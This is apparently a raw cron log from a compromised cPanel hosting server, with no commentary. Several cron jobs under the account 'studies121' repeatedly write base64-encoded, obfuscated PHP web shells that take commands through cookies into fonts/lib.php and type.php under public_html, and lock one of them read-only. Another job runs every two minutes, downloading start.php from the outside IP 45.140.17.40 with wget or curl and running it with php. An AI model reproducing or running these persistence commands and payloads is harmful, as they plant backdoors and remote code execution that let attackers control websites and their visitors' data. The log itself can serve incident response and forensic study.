Sep  3 17:50:01 ip-184-168-122-23 CROND[9740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:51:01 ip-184-168-122-23 CROND[9830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:51:01 ip-184-168-122-23 CROND[9832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:51:01 ip-184-168-122-23 CROND[9833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:51:01 ip-184-168-122-23 CROND[9834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:52:01 ip-184-168-122-23 CROND[10013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:52:01 ip-184-168-122-23 CROND[10015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:52:01 ip-184-168-122-23 CROND[10017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:52:01 ip-184-168-122-23 CROND[10020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:52:01 ip-184-168-122-23 CROND[10019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:53:01 ip-184-168-122-23 CROND[10110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:53:01 ip-184-168-122-23 CROND[10112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:53:01 ip-184-168-122-23 CROND[10114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:53:01 ip-184-168-122-23 CROND[10113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:54:01 ip-184-168-122-23 CROND[10210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:54:01 ip-184-168-122-23 CROND[10212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:54:01 ip-184-168-122-23 CROND[10213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:54:01 ip-184-168-122-23 CROND[10214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:54:01 ip-184-168-122-23 CROND[10215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:55:01 ip-184-168-122-23 CROND[10303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:55:01 ip-184-168-122-23 CROND[10306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:55:01 ip-184-168-122-23 CROND[10307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:55:01 ip-184-168-122-23 CROND[10309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:55:01 ip-184-168-122-23 CROND[10305]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:55:01 ip-184-168-122-23 CROND[10308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:56:01 ip-184-168-122-23 CROND[10396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:56:01 ip-184-168-122-23 CROND[10398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:56:01 ip-184-168-122-23 CROND[10399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:56:01 ip-184-168-122-23 CROND[10400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:56:01 ip-184-168-122-23 CROND[10401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:57:01 ip-184-168-122-23 CROND[10497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:57:01 ip-184-168-122-23 CROND[10498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:57:01 ip-184-168-122-23 CROND[10501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:57:01 ip-184-168-122-23 CROND[10503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:58:01 ip-184-168-122-23 CROND[10658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:58:01 ip-184-168-122-23 CROND[10659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:58:01 ip-184-168-122-23 CROND[10662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:58:01 ip-184-168-122-23 CROND[10661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:58:01 ip-184-168-122-23 CROND[10663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:59:01 ip-184-168-122-23 CROND[10759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:59:01 ip-184-168-122-23 CROND[10760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:59:01 ip-184-168-122-23 CROND[10765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:59:01 ip-184-168-122-23 CROND[10764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:00:01 ip-184-168-122-23 CROND[10862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:00:01 ip-184-168-122-23 CROND[10863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:00:01 ip-184-168-122-23 CROND[10869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:00:01 ip-184-168-122-23 CROND[10867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:00:01 ip-184-168-122-23 CROND[10868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:00:01 ip-184-168-122-23 CROND[10866]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:00:01 ip-184-168-122-23 CROND[10865]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 18:00:01 ip-184-168-122-23 CROND[10871]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 18:00:01 ip-184-168-122-23 CROND[10872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:01:01 ip-184-168-122-23 CROND[10971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:01:01 ip-184-168-122-23 CROND[10973]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 18:01:01 ip-184-168-122-23 CROND[10974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:01:01 ip-184-168-122-23 CROND[10977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:01:01 ip-184-168-122-23 CROND[10978]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 18:01:01 ip-184-168-122-23 CROND[10981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10973]: starting 0anacron
Sep  3 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10992]: finished 0anacron
Sep  3 18:02:01 ip-184-168-122-23 CROND[11065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:02:01 ip-184-168-122-23 CROND[11067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:02:01 ip-184-168-122-23 CROND[11069]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:02:01 ip-184-168-122-23 CROND[11070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
